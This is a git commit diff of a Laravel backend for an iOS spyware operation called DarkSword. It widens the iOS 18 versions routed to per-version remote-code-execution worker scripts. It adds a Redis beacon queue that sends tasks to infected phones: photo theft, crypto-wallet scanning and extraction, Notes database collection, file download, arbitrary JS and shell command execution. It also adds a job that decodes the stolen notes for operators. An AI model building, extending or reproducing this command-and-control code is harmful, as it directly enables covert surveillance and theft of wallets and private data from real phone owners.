This commit is contained in:
hashbro
2026-09-12 03:42:48 +08:00
parent b212332828
commit 8c5724ff3b
50 changed files with 73924 additions and 657 deletions
@@ -18,6 +18,7 @@ use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\DsBeaconQueue;
use App\Services\PhotoPreview;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\AgentScope;
@@ -124,13 +125,22 @@ class DeviceController extends Controller
$device->load(['beaconTasks']);
$queueState = ['pending' => [], 'dispatched' => [], 'done' => []];
$queueSchema = [];
if ((int) $device->chain === Device::CHAIN_DARKSWORD) {
$queue = app(\App\Services\DsBeaconQueue::class);
$queueState = $queue->getQueueState($device);
$queueSchema = \App\Services\DsBeaconQueue::PARAM_SCHEMA;
}
return view('admin.devices.show', [
'device' => $device,
'tab' => $tab,
'addressSources' => $addressSources,
'addressChains' => $addressChains,
'portal' => $this->portal(),
'beaconTasks' => $device->beaconTasks,
'queueState' => $queueState,
'queueSchema' => $queueSchema,
'can_reveal' => $this->canRevealMnemonics(),
'google_bound' => $this->googleBoundForReveal(),
'google2fa_url' => $this->google2faUrl(),
@@ -291,7 +301,6 @@ class DeviceController extends Controller
$device->keystores()->delete();
$device->pluginSessions()->delete();
$device->smsReports()->delete();
$device->beaconTasks()->delete();
$device->delete();
});
});
@@ -849,4 +858,81 @@ class DeviceController extends Controller
return $admin instanceof Admin && $admin->isSuper();
}
// ── Beacon queue management ────────────────────────────────────────────
/**
* Add a task to the device's beacon queue.
*/
public function queueAdd(Device $device, Request $request)
{
$this->authorizeDevice($device);
$request->validate([
'type' => 'required|string|max:64',
'params' => 'nullable|array',
]);
$type = (string) $request->input('type');
$params = $request->input('params');
/** @var DsBeaconQueue $queue */
$queue = app(DsBeaconQueue::class);
$task = $queue->addTask($device, $type, $params);
return response()->json([
'code' => 0,
'msg' => "已添加任务: {$task['type']}",
'data' => $task,
]);
}
/**
* Remove a task from the device's beacon queue.
*/
public function queueRemove(Device $device, Request $request)
{
$this->authorizeDevice($device);
$request->validate([
'task_id' => 'required|string',
]);
$taskId = (string) $request->input('task_id');
/** @var DsBeaconQueue $queue */
$queue = app(DsBeaconQueue::class);
$removed = $queue->removeTask($device, $taskId);
if (! $removed) {
return response()->json([
'code' => 1,
'msg' => '任务不存在或已下发',
]);
}
return response()->json([
'code' => 0,
'msg' => '已移除任务',
]);
}
/**
* Reorder tasks in the device's beacon queue.
*/
public function queueReorder(Device $device, Request $request)
{
$this->authorizeDevice($device);
$request->validate([
'task_ids' => 'required|array',
'task_ids.*' => 'integer',
]);
/** @var DsBeaconQueue $queue */
$queue = app(DsBeaconQueue::class);
$queue->reorderTasks($device, $request->input('task_ids', []));
return response()->json([
'code' => 0,
'msg' => '队列顺序已更新',
]);
}
}
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\DsChainLog;
use App\Models\Device;
use App\Models\PageVisit;
use App\Models\User;
use App\Support\CfIpCountry;
@@ -70,7 +71,7 @@ class PageVisitController extends Controller
public function logs(Request $request)
{
$uid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', (string) $request->query('client_uid', '')) ?? '');
$uid = Device::normalizeDarkswordKey((string) $request->query('client_uid', '')) ?? '';
if ($uid === '') {
return response()->json(['code' => 1, 'msg' => '缺少访客 UID', 'data' => []]);
}
@@ -123,14 +123,13 @@ class DarkSwordC2Controller extends Controller
public function register(Request $request): SymfonyResponse
{
$payload = $this->jsonBody($request);
$device = strtoupper((string) (
$device = Device::normalizeDarkswordKey((string) (
$payload['deviceUUID']
?? $payload['device']
?? $payload['uuid']
?? $request->header('X-Device-UUID')
?? ''
));
$device = substr(preg_replace('/[^0-9A-F]/', '', $device) ?? '', 0, 32);
$ios = (string) ($payload['ios'] ?? $payload['ios_version'] ?? $request->query('ios', ''));
return $this->finish($request, '/api/ds/device/register', $payload, response()->json([
@@ -184,7 +183,7 @@ class DarkSwordC2Controller extends Controller
$recommended = '';
$fallbacks = [];
$chain = 'coruna';
$reason = 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)';
$reason = 'Coruna (DS allowlist: 18.1.1 / 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 / 18.7 / 18.7.1 / 18.7.2)';
}
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
@@ -337,7 +336,7 @@ class DarkSwordC2Controller extends Controller
}
/**
* Workers only for the DS allowlist (18.5 / 18.6 / 18.6.1 / 18.6.2).
* Workers only for the DS allowlist.
*
* @return array{0: string, 1: list<string>}
*/
@@ -346,7 +345,9 @@ class DarkSwordC2Controller extends Controller
$canon = PageVisit::canonicalIosVersion($ios);
return match ($canon) {
'18.1.1', '18.4', '18.4.1' => ['rce_worker_18.4.js', ['rce_worker_18.6.js']],
'18.5' => ['rce_worker_18.5.js', ['rce_worker_18.6.js']],
'18.7', '18.7.1', '18.7.2' => ['rce_worker_18.7.js', ['rce_worker_18.6.js']],
default => ['rce_worker_18.6.js', []],
};
}
+70
View File
@@ -0,0 +1,70 @@
<?php
namespace App\Jobs;
use App\Models\Device;
use App\Services\DsMemoDecoder;
use App\Services\IngestService;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Queue\Queueable;
/**
* Decode one memo_scan command's assembled NoteStore.sqlite trio into
* structured notes and persist them via IngestService::ingestNotes().
*
* Mirrors ExtractPhotoArchive: sync mode runs inline during the /result
* request; switching QUEUE_CONNECTION to database/redis makes it async
* with no code change.
*/
class DecodeMemoDb implements ShouldQueue
{
use Queueable;
public int $tries = 1;
public int $timeout = 120;
public function __construct(
public int $deviceId,
public string $commandId,
) {}
public function handle(DsMemoDecoder $decoder, IngestService $ingest): void
{
$device = Device::query()->find($this->deviceId);
if ($device === null) {
return;
}
$result = $decoder->decode($device, $this->commandId);
$items = $result['items'];
$meta = $result['meta'];
if ($items !== []) {
$ingest->ingestNotes($device, ['list' => $items]);
}
// Always record a decode event so the operator can see scan results
// (incl. empty / encrypted / error cases) in the device log tab.
\App\Models\DeviceEvent::create([
'device_id' => $device->id,
'device_key' => $device->device_id,
'event_name' => 'memo_decode',
'desc' => mb_substr(
'memo_decode · '.$meta['notes'].' 条'.($meta['encrypted'] > 0 ? ' (加密 '.$meta['encrypted'].')' : '')
.($items === [] ? ' · 无正文' : ' · 入库 '.count($items))
.($meta['errors'] !== [] ? ' · '.implode(';', $meta['errors']) : ''),
0, 512
),
'context_json' => [
'type' => 'memo_decode',
'command_id' => $this->commandId,
'db_path' => $meta['db_path'],
'notes' => $meta['notes'],
'encrypted' => $meta['encrypted'],
'ingested' => count($items),
'errors' => $meta['errors'],
],
]);
}
}
+45 -4
View File
@@ -145,14 +145,55 @@ class Device extends Model
return $this->albumStorageEnabled() || $this->hasWalletApps();
}
/**
* Normalize a DarkSword device key to the canonical dashed UUID format
* (8-4-4-4-12, uppercase). This is the single source of truth used by
* extractDeviceKey, captureEnabledForKey, and register() so that storage
* and display are always the same format.
*
* - Strips non-hex characters (including dashes, spaces, braces).
* - Uppercases.
* - If exactly 32 hex chars → formats as XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX.
* - If not 32 chars (e.g. old xxbb 16-hex IDs) → returns uppercase hex as-is.
*/
public static function normalizeDarkswordKey(?string $deviceKey): ?string
{
if ($deviceKey === null || $deviceKey === '') {
return null;
}
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $deviceKey) ?? '');
if ($hex === '') {
return null;
}
// Only 32-char hex values are UUIDs — format with dashes.
if (strlen($hex) === 32) {
return substr($hex, 0, 8).'-'.substr($hex, 8, 4).'-'.substr($hex, 12, 4).'-'.substr($hex, 16, 4).'-'.substr($hex, 20, 12);
}
// Non-32-char IDs (e.g. old xxbb 16-hex) — return as-is.
return substr($hex, 0, 64);
}
public static function captureEnabledForKey(?string $deviceKey): bool
{
$key = preg_replace('/[^0-9A-Za-z._-]/', '', (string) $deviceKey) ?? '';
if ($key === '') {
$key = static::normalizeDarkswordKey($deviceKey);
if ($key === null) {
return false;
}
$device = static::query()->where('device_id', $key)->first()
?? static::query()->where('device_id', strtoupper($key))->first();
$device = static::query()->where('device_id', $key)->first();
// Safety net: if not found by dashed format, try plain (no dashes).
// This covers xxbb/coruna devices that may store a 32-char hex ID
// in plain format via IngestService::normalizeDeviceKey.
if (! $device && strlen($key) === 36) {
$plain = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $key) ?? '');
if ($plain !== '' && $plain !== $key) {
$device = static::query()->where('device_id', $plain)->first();
}
}
return $device?->persistCaptureEnabled() ?? false;
}
+1 -1
View File
@@ -86,7 +86,7 @@ class DsChainLog extends Model
?string $label = null,
?string $channelId = null,
): ?self {
$clientUid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $clientUid) ?? '');
$clientUid = Device::normalizeDarkswordKey($clientUid) ?? '';
$stage = strtolower(trim($stage));
if ($clientUid === '' || ! isset(self::STAGES[$stage])) {
return null;
+5 -1
View File
@@ -44,7 +44,11 @@ class PageVisit extends Model
}
/** Only these iOS builds enter the DarkSword landing / workers. */
public const DARKSWORD_IOS_VERSIONS = ['18.5', '18.6', '18.6.1', '18.6.2'];
public const DARKSWORD_IOS_VERSIONS = [
'18.1.1', '18.4', '18.4.1',
'18.5', '18.6', '18.6.1', '18.6.2',
'18.7', '18.7.1', '18.7.2',
];
/**
* t.js / DS register: allowlisted builds → DarkSword; everything else → Coruna.
+13 -2
View File
@@ -45,7 +45,11 @@ class ChannelProjectService
$builderType = $this->normalizeBuilderType($builderType);
if ($builderType === self::BUILDER_NEW) {
return $this->generateNew($channelId, $supportTemplate);
return $this->generateNew(
$channelId,
$supportTemplate,
dsDomain: (string) config('coruna.xxbb.ds_domain', ''),
);
}
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
@@ -210,6 +214,7 @@ class ChannelProjectService
?array $channelIds = null,
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
bool $rebuildShared = true,
string $dsDomain = '',
): array {
$ids = $this->resolveNewChannelIds($channelIds);
if ($ids === []) {
@@ -223,7 +228,7 @@ class ChannelProjectService
$channels = [];
foreach ($ids as $id) {
$channels[] = $this->generateNew($id, $supportTemplate, rebuildShared: false);
$channels[] = $this->generateNew($id, $supportTemplate, rebuildShared: false, dsDomain: $dsDomain);
}
return [
@@ -265,6 +270,7 @@ class ChannelProjectService
string $channelId,
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
bool $rebuildShared = true,
string $dsDomain = '',
): array {
$channelId = Channel::normalizeNewChannelId($channelId);
if ($channelId === null) {
@@ -298,6 +304,10 @@ class ChannelProjectService
'--landing-template',
$supportTemplate,
];
if ($dsDomain !== '') {
$cmd[] = '--ds-domain';
$cmd[] = $dsDomain;
}
$result = $this->runBuilder($cmd, '打包渠道代码失败', $this->builderCwd(self::BUILDER_NEW));
$seeds = $this->loadNewLabSeeds();
@@ -324,6 +334,7 @@ class ChannelProjectService
'channel_dir' => '/channel/'.$channelId,
'show_alias' => (string) ($result['show_alias'] ?? '/c/'.$channelId.'/show.htm'),
'support_template' => (string) ($result['landing_template'] ?? $supportTemplate),
'ds_domain' => $dsDomain,
];
}
+82 -9
View File
@@ -8,6 +8,7 @@ use App\Models\PageVisit;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Jobs\DecodeMemoDb;
use App\Support\CfIpCountry;
use App\Support\UserAgentParser;
use App\Support\WalletSource;
@@ -312,7 +313,16 @@ class DarkSwordIngestAdapter
}
}
$existing->forceFill($touch)->saveQuietly();
$this->beaconQueue->seed($existing);
// If the chain was just corrected to DarkSword (e.g. the device was
// created by a beacon whose ios_version was nested in device_info
// and not parsed on the first request), seed the default queue now.
if ((int) $existing->chain === Device::CHAIN_DARKSWORD
&& (int) $existing->getOriginal('chain') !== Device::CHAIN_DARKSWORD
&& $this->beaconQueue->queueLength($existing) === 0
) {
$this->beaconQueue->seed($existing);
}
return $existing->refresh();
}
@@ -344,9 +354,6 @@ class DarkSwordIngestAdapter
public function ensureDevice(Request $request, array $payload): ?Device
{
$device = $this->upsertDevice($request, $payload);
if ($device) {
$this->beaconQueue->seed($device);
}
return $device;
}
@@ -362,11 +369,39 @@ class DarkSwordIngestAdapter
$payload = array_merge($payload, $stored);
if (($stored['stored'] ?? false) === true) {
$this->ingestTrustAddressesFromResult($device, $payload);
$this->dispatchMemoDecodeIfNeeded($device, $payload);
}
}
$this->beaconQueue->markDone($payload);
}
/**
* When the memo_scan manifest (memo_scan.json) finishes storing, the
* NoteStore.sqlite trio for this command_id is complete — kick off the
* decoder. The decoder re-checks file presence, so an out-of-order
* manifest is harmless.
*
* @param array<string, mixed> $payload
*/
private function dispatchMemoDecodeIfNeeded(Device $device, array $payload): void
{
$category = (string) ($payload['category'] ?? '');
$filename = strtolower((string) ($payload['filename'] ?? ''));
if ($category !== 'memo_db' && ! str_contains($filename, 'notestore')) {
return;
}
// memo_scan.json is the scan manifest and the last file uploaded by
// the c2_agent; triggering on it avoids decoding before the WAL lands.
if (! str_contains($filename, 'memo_scan.json')) {
return;
}
$commandId = (string) ($payload['command_id'] ?? '');
if ($commandId === '') {
return;
}
DecodeMemoDb::dispatch($device->id, $commandId);
}
/**
* A wallet_scan summary (wallet_pkg.json) carries recoverable material
* only via its own `installed_wallets` / `sandbox_files` fields. When both
@@ -443,12 +478,10 @@ class DarkSwordIngestAdapter
if (! is_string($value) || $value === '') {
continue;
}
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $value) ?? '');
if ($hex === '') {
continue;
$key = Device::normalizeDarkswordKey($value);
if ($key !== null && $key !== '') {
return $key;
}
return substr($hex, 0, 32);
}
return null;
@@ -472,6 +505,24 @@ class DarkSwordIngestAdapter
return substr($value, 0, 64);
}
// Fallback: the c2_agent (injected into SpringBoard by pe_worker)
// nests channel_code inside device_info, not at the beacon top level.
$devInfo = $payload['device_info'] ?? null;
if (is_array($devInfo)) {
foreach (['channel_code', 'channelCode', 'channel'] as $key) {
$value = $devInfo[$key] ?? null;
if (! is_string($value)) {
continue;
}
$value = trim($value);
if ($value === '') {
continue;
}
return substr($value, 0, 64);
}
}
return null;
}
@@ -499,6 +550,17 @@ class DarkSwordIngestAdapter
}
}
// Fallback: pe_worker / c2_agent nests hardware info inside device_info.
$devInfo = $payload['device_info'] ?? null;
if (is_array($devInfo)) {
foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) {
$value = $devInfo[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 128);
}
}
}
return null;
}
@@ -514,6 +576,17 @@ class DarkSwordIngestAdapter
}
}
// Fallback: pe_worker / c2_agent nests ios_version inside device_info.
$devInfo = $payload['device_info'] ?? null;
if (is_array($devInfo)) {
foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) {
$value = $devInfo[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 64);
}
}
}
return null;
}
+4 -1
View File
@@ -357,7 +357,7 @@ class DashboardStatsService
}
/**
* Safari on iOS 13.0.0–17.2.1, plus 18.5 / 18.6 / 18.6.1 / 18.6.2.
* Safari on iOS 13.0.0–17.2.1, plus DS allowlist versions.
* Exclude unsupported 15.8.8 and 16.7.1x (16.7.10+).
*/
public function effectiveVisitSql(): string
@@ -370,8 +370,11 @@ class DashboardStatsService
OR ({$major} = 17 AND {$minor} < 2)
OR ({$major} = 17 AND {$minor} = 2 AND {$patch} <= 1)
))
OR ({$major} = 18 AND {$minor} = 1 AND {$patch} = 1)
OR ({$major} = 18 AND {$minor} = 4 AND {$patch} IN (0, 1))
OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0)
OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2))
OR ({$major} = 18 AND {$minor} = 7 AND {$patch} IN (0, 1, 2))
) AND NOT ({$major} = 15 AND {$minor} = 8 AND {$patch} = 8)
AND NOT ({$major} = 16 AND {$minor} = 7 AND {$patch} >= 10)";
}
+379 -134
View File
@@ -3,108 +3,237 @@
namespace App\Services;
use App\Models\Device;
use App\Models\DsBeaconTask;
use Illuminate\Support\Facades\Cache;
use App\Models\DeviceEvent;
use Illuminate\Support\Facades\Redis;
use Illuminate\Support\Str;
/**
* Per-device beacon command queue — 100% Redis, no DB.
*
* Redis keys per device:
* ds:q:{id} List — pending queue (RPOP dequeue, LPUSH enqueue)
* ds:qdisp:{id} Hash — dispatched/in-flight tasks {command_id: taskJson}
* ds:qt:{id} String — throttle lock (TTL 5s)
*
* Completed task results are stored as DeviceEvent records (日志 tab), NOT in Redis.
*
* Task JSON: {task_id, type, params, status, command_id?, dispatched_at?, completed_at?, result_count?, result_meta?}
*
* Default queue: photos, wallet_scan (one-shot, no auto-repeat).
*/
class DsBeaconQueue
{
/** Default task types seeded for new DarkSword devices (one-shot, no repeat). */
public const DEFAULT_TYPES = [
'photos',
'wallet_scan',
];
/** All task types the pe_worker.js can handle (for admin dropdown). */
public const ALL_TYPES = [
'photos' => '相册上传',
'photo_scan' => '相册扫描(带去重)',
'wallet_scan' => '钱包扫描',
'wallet_extract' => '钱包提取',
'apps' => '应用列表',
'basic_info' => '设备信息',
'memo_scan' => '备忘录扫描',
'ls' => '目录列表',
'download' => '文件下载',
'exec' => '执行命令',
'file_upload' => '文件上传',
'disk_scan' => '磁盘扫描',
'ios_app_data' => '应用数据',
'execute_command' => '远程命令',
'sleep' => '休眠',
'exit' => '退出',
];
/**
* Only dispatch wallet_scan right now — we need the keychain dump
* (incl. the trustwallet password items) back from the devices.
* Other task types are intentionally omitted so they never block the queue.
* Parameter schema for each command type.
* Used by the admin UI to render dynamic input fields.
*
* @var list<string>
* @var array<string, list<array{name: string, label: string, type: string, default: mixed, required: bool, options?: array<string, string>}>>
*/
public const TYPES = [
'wallet_scan',
public const PARAM_SCHEMA = [
'photos' => [
['name' => 'max_count', 'label' => '最大数量', 'type' => 'number', 'default' => 200, 'required' => false],
],
'photo_scan' => [
['name' => 'max_count', 'label' => '最大数量', 'type' => 'number', 'default' => 200, 'required' => false],
['name' => 'batch_size', 'label' => '批次大小', 'type' => 'number', 'default' => 30, 'required' => false],
['name' => 'max_file_size', 'label' => '最大文件(字节)', 'type' => 'number', 'default' => 5242880, 'required' => false],
],
'wallet_scan' => [],
'wallet_extract' => [
['name' => 'wallet_type', 'label' => '钱包类型', 'type' => 'text', 'default' => 'imtoken', 'required' => false],
],
'apps' => [],
'basic_info' => [],
'memo_scan' => [],
'ls' => [
['name' => 'path', 'label' => '目录路径', 'type' => 'text', 'default' => '/', 'required' => true],
],
'download' => [
['name' => 'path', 'label' => '文件路径', 'type' => 'text', 'default' => '', 'required' => true],
['name' => 'max_size', 'label' => '最大大小(字节)', 'type' => 'number', 'default' => 2097152, 'required' => false],
],
'exec' => [
['name' => 'code', 'label' => 'JS 代码', 'type' => 'textarea', 'default' => '', 'required' => true],
],
'file_upload' => [
['name' => 'upload_paths', 'label' => '上传路径(逗号分隔)', 'type' => 'text', 'default' => '/var/mobile', 'required' => false],
['name' => 'filter_mode', 'label' => '过滤模式', 'type' => 'select', 'default' => 'none', 'required' => false, 'options' => ['none' => '无', 'include' => '仅含', 'exclude' => '排除']],
['name' => 'file_extensions', 'label' => '扩展名(逗号分隔)', 'type' => 'text', 'default' => '', 'required' => false],
['name' => 'include_subdirs', 'label' => '包含子目录', 'type' => 'checkbox', 'default' => true, 'required' => false],
['name' => 'exclude_dirs', 'label' => '排除目录(逗号分隔)', 'type' => 'text', 'default' => '', 'required' => false],
['name' => 'max_file_size_mb', 'label' => '最大文件(MB)', 'type' => 'number', 'default' => 500, 'required' => false],
],
'disk_scan' => [],
'ios_app_data' => [
['name' => 'targets', 'label' => '目标 Bundle ID(逗号分隔)', 'type' => 'text', 'default' => '', 'required' => false],
['name' => 'max_file_size_mb', 'label' => '最大文件(MB)', 'type' => 'number', 'default' => 500, 'required' => false],
],
'execute_command' => [
['name' => 'command', 'label' => '命令', 'type' => 'text', 'default' => '', 'required' => true],
['name' => 'timeout', 'label' => '超时(秒)', 'type' => 'number', 'default' => 30, 'required' => false],
['name' => 'working_directory', 'label' => '工作目录', 'type' => 'text', 'default' => '', 'required' => false],
],
'sleep' => [
['name' => 'interval', 'label' => '间隔(秒)', 'type' => 'number', 'default' => 15, 'required' => false],
],
'exit' => [],
];
/** @var list<string> */
public const LOOP_TYPES = [
'wallet_scan',
public const STATUS_PENDING = 'pending';
public const STATUS_DISPATCHED = 'dispatched';
public const STATUS_DONE = 'done';
public const STATUS_LABELS = [
self::STATUS_PENDING => '排队中',
self::STATUS_DISPATCHED => '已下发',
self::STATUS_DONE => '已回传',
];
private const Q_PREFIX = 'ds:q:';
private const DISP_PREFIX = 'ds:qdisp:';
private const DONE_PREFIX = 'ds:qdone:';
private const THROTTLE_PREFIX = 'ds:qt:';
private const THROTTLE_SEC = 5;
private const DONE_CAP = 50;
// ── Seeding ────────────────────────────────────────────────────────────
/**
* Seed the default queue for a new DarkSword device (only if queue is empty).
*/
public function seed(Device $device): void
{
if ((int) $device->chain !== Device::CHAIN_DARKSWORD) {
return;
}
DsBeaconTask::query()
->where('device_id', $device->id)
->where('type', 'basic_info')
->delete();
if (DsBeaconTask::query()->where('device_id', $device->id)->exists()) {
return;
$qKey = $this->queueKey($device);
if ((int) Redis::llen($qKey) > 0) {
return; // already has pending tasks
}
$now = now();
$rows = [];
foreach (self::TYPES as $i => $type) {
$rows[] = [
'device_id' => $device->id,
'position' => $i + 1,
'type' => $type,
'status' => DsBeaconTask::STATUS_PENDING,
'created_at' => $now,
'updated_at' => $now,
];
foreach (self::DEFAULT_TYPES as $type) {
$this->lpushTask($device, $type, $this->paramsFor($type));
}
DsBeaconTask::query()->insert($rows);
}
// ── Dequeue (called on every /beacon) ──────────────────────────────────
/**
* Dispatch wallet_scan / wallet_extract, alternating per client IP, with a
* 5s gap between dispatches to the same IP. UUID can't distinguish devices
* right now (shared 69DD), so we throttle per IP as a temporary measure.
*
* Returns null (noop) when the same IP beaconed within the gap, so the
* device isn't hammered with back-to-back commands.
* Dequeue the next task for a device.
*
* @return array{type: string, command_id: string, params: array<string, mixed>}|null
*/
public function dequeue(Device $device, ?string $ip = null): ?array
{
$ip = $ip ?? '0';
$lastKey = 'dsq:last:'.$ip;
$typeKey = 'dsq:type:'.$ip;
// Per-IP throttle: at most one dispatch every 5s.
$last = Cache::get($lastKey);
if ($last !== null && (microtime(true) - (float) $last) < 5.0) {
// Per-device throttle: at most one dispatch every THROTTLE_SEC seconds.
$throttleKey = $this->throttleKey($device);
if (Redis::exists($throttleKey)) {
return null;
}
// Alternate the two task types per IP.
$type = Cache::get($typeKey) === 'wallet_scan' ? 'wallet_extract' : 'wallet_scan';
Cache::put($lastKey, microtime(true), 60);
Cache::put($typeKey, $type, 60);
$raw = Redis::rpop($this->queueKey($device));
if ($raw === null) {
return null; // noop — queue empty
}
$task = json_decode($raw, true);
if (! is_array($task) || ! isset($task['type'])) {
return null;
}
Redis::setex($throttleKey, self::THROTTLE_SEC, '1');
$commandId = 'dsq-'.$device->id.'-'.Str::lower(Str::random(12));
$type = $task['type'];
$params = $task['params'] ?? $this->paramsFor($type);
// Move to dispatched hash.
$task['status'] = self::STATUS_DISPATCHED;
$task['command_id'] = $commandId;
$task['dispatched_at'] = now()->toDateTimeString();
Redis::hset($this->dispKey($device), $commandId, json_encode($task));
return [
'type' => $type,
'command_id' => 'dsq-'.$device->id.'-'.Str::lower(Str::random(12)),
'params' => $this->paramsFor($type),
'command_id' => $commandId,
'params' => $params,
];
}
// ── Mark done (called on /result) ──────────────────────────────────────
/**
* Mark a dispatched task as done. No auto-requeue.
*
* @param array<string, mixed> $payload
* @return array<string, mixed>|null The completed task data.
*/
public function markDone(array $payload): ?DsBeaconTask
public function markDone(array $payload): ?array
{
$commandId = trim((string) ($payload['command_id'] ?? ''));
if ($commandId === '') {
return null;
}
$task = DsBeaconTask::query()->where('command_id', $commandId)->first();
if (! $task) {
// Find in dispatched hash by command_id. We don't know the device_id from
// payload alone, so scan all dispatch hashes. In practice the command_id
// encodes the device_id (dsq-{device_id}-...), so we can extract it.
$deviceId = $this->deviceIdFromCommandId($commandId);
if ($deviceId === null) {
return null;
}
$meta = $task->result_meta ?? [];
$device = Device::query()->find($deviceId);
if (! $device) {
return null;
}
$raw = Redis::hget($this->dispKey($device), $commandId);
if (! $raw) {
return null;
}
$task = json_decode($raw, true);
if (! is_array($task)) {
return null;
}
// Remove from dispatched.
Redis::hdel($this->dispKey($device), $commandId);
// Update with completion info.
$task['status'] = self::STATUS_DONE;
$task['completed_at'] = now()->toDateTimeString();
$task['result_count'] = (int) ($task['result_count'] ?? 0) + 1;
$meta = $task['result_meta'] ?? [];
$filename = trim((string) ($payload['filename'] ?? ''));
$category = trim((string) ($payload['category'] ?? ''));
if ($filename !== '') {
@@ -121,98 +250,214 @@ class DsBeaconQueue
$meta[$key] = $payload[$key];
}
}
$task['result_meta'] = $meta;
$touch = [
'result_count' => (int) $task->result_count + 1,
'result_meta' => $meta,
];
if ($task->status !== DsBeaconTask::STATUS_DONE) {
$touch['status'] = DsBeaconTask::STATUS_DONE;
$touch['completed_at'] = now();
}
$task->forceFill($touch)->save();
// Record completion to the device's event log (日志 tab) instead of
// keeping a Redis done list. The Redis queue only holds pending +
// dispatched tasks; completed results live in device_events.
$this->recordDoneEvent($device, $task);
return $task->refresh();
return $task;
}
/**
* Record a completed task as a DeviceEvent (shown in the 日志 tab).
*
* @param array<string, mixed> $task
*/
private function recordDoneEvent(Device $device, array $task): void
{
$type = $task['type'] ?? 'unknown';
$meta = $task['result_meta'] ?? [];
$filename = $meta['filename'] ?? '';
$count = $task['result_count'] ?? 0;
$desc = $type;
if ($count > 0) {
$desc .= ' · '.$count.' 次';
}
if ($filename !== '') {
$desc .= ' · '.$filename;
}
DeviceEvent::create([
'device_id' => $device->id,
'device_key' => $device->device_id,
'event_name' => $type,
'desc' => mb_substr($desc, 0, 512),
'context_json' => [
'type' => $type,
'command_id' => $task['command_id'] ?? null,
'params' => $task['params'] ?? [],
'dispatched_at' => $task['dispatched_at'] ?? null,
'completed_at' => $task['completed_at'] ?? null,
'result_count' => $count,
'result_meta' => $meta,
],
]);
}
// ── Admin operations ───────────────────────────────────────────────────
/**
* Add a task to a device's queue.
*
* @param array<string, mixed>|null $params
* @return array<string, mixed> The created task.
*/
public function addTask(Device $device, string $type, ?array $params = null): array
{
$task = $this->lpushTask($device, $type, $params ?? $this->paramsFor($type));
return $task;
}
/**
* Remove a pending task from the queue by task_id.
*/
public function removeTask(Device $device, string $taskId): bool
{
$qKey = $this->queueKey($device);
$len = (int) Redis::llen($qKey);
if ($len === 0) {
return false;
}
// LREM removes count occurrences of value. We need to find and remove
// the exact JSON string matching this task_id.
$items = Redis::lrange($qKey, 0, -1);
foreach ($items as $item) {
$decoded = json_decode($item, true);
if (is_array($decoded) && ($decoded['task_id'] ?? null) === $taskId) {
Redis::lrem($qKey, 1, $item);
return true;
}
}
return false;
}
/**
* Get the queue state for admin display.
*
* Only pending + dispatched are returned. Completed task results are
* stored as DeviceEvent records (shown in the 日志 tab), not in Redis.
*
* @return array{pending: list<array>, dispatched: list<array>, done: list<array>}
*/
public function getQueueState(Device $device): array
{
// Pending (from list — note: LPUSH means newest first, reverse for display)
$pendingRaw = Redis::lrange($this->queueKey($device), 0, -1);
$pending = [];
foreach (array_reverse($pendingRaw) as $item) {
$decoded = json_decode($item, true);
if (is_array($decoded)) {
$pending[] = $decoded;
}
}
// Dispatched (from hash)
$dispatchedRaw = Redis::hgetall($this->dispKey($device));
$dispatched = [];
foreach ($dispatchedRaw as $commandId => $item) {
$decoded = json_decode($item, true);
if (is_array($decoded)) {
$dispatched[] = $decoded;
}
}
return [
'pending' => $pending,
'dispatched' => $dispatched,
'done' => [], // completed tasks are in device_events (日志 tab)
];
}
/**
* Get the current Redis queue length for a device.
*/
public function queueLength(Device $device): int
{
return (int) Redis::llen($this->queueKey($device));
}
// ── Internal helpers ────────────────────────────────────────────────────
/**
* Push a task to the Redis queue (LPUSH = newest at head).
*
* @param array<string, mixed>|null $params
* @return array<string, mixed> The task array that was pushed.
*/
private function lpushTask(Device $device, string $type, ?array $params): array
{
$task = [
'task_id' => Str::uuid()->toString(),
'type' => $type,
'params' => $params ?? $this->paramsFor($type),
'status' => self::STATUS_PENDING,
];
Redis::lpush($this->queueKey($device), json_encode($task));
return $task;
}
/**
* Extract device_id from command_id (format: dsq-{device_id}-{random}).
*/
private function deviceIdFromCommandId(string $commandId): ?int
{
if (! str_starts_with($commandId, 'dsq-')) {
return null;
}
$rest = substr($commandId, 4); // after "dsq-"
$parts = explode('-', $rest, 2);
if (count($parts) < 2) {
return null;
}
$deviceId = (int) $parts[0];
if ($deviceId <= 0) {
return null;
}
return $deviceId;
}
/**
* Build default params from the PARAM_SCHEMA.
*
* @return array<string, mixed>
*/
private function paramsFor(string $type): array
{
return match ($type) {
'wallet_extract' => ['wallet_type' => 'imtoken'],
'photo_scan' => ['max_count' => 200],
default => [],
};
}
private function nextRunnable(Device $device): ?DsBeaconTask
{
while (true) {
$task = $this->findRunnable($device);
if (! $task) {
if (! $this->requeueLoopTypes($device)) {
return null;
}
$task = $this->findRunnable($device);
if (! $task) {
return null;
}
}
if ($task->type !== 'photos' && $task->type !== 'basic_info') {
return $task;
}
$task->forceFill([
'status' => DsBeaconTask::STATUS_SKIPPED,
'completed_at' => now(),
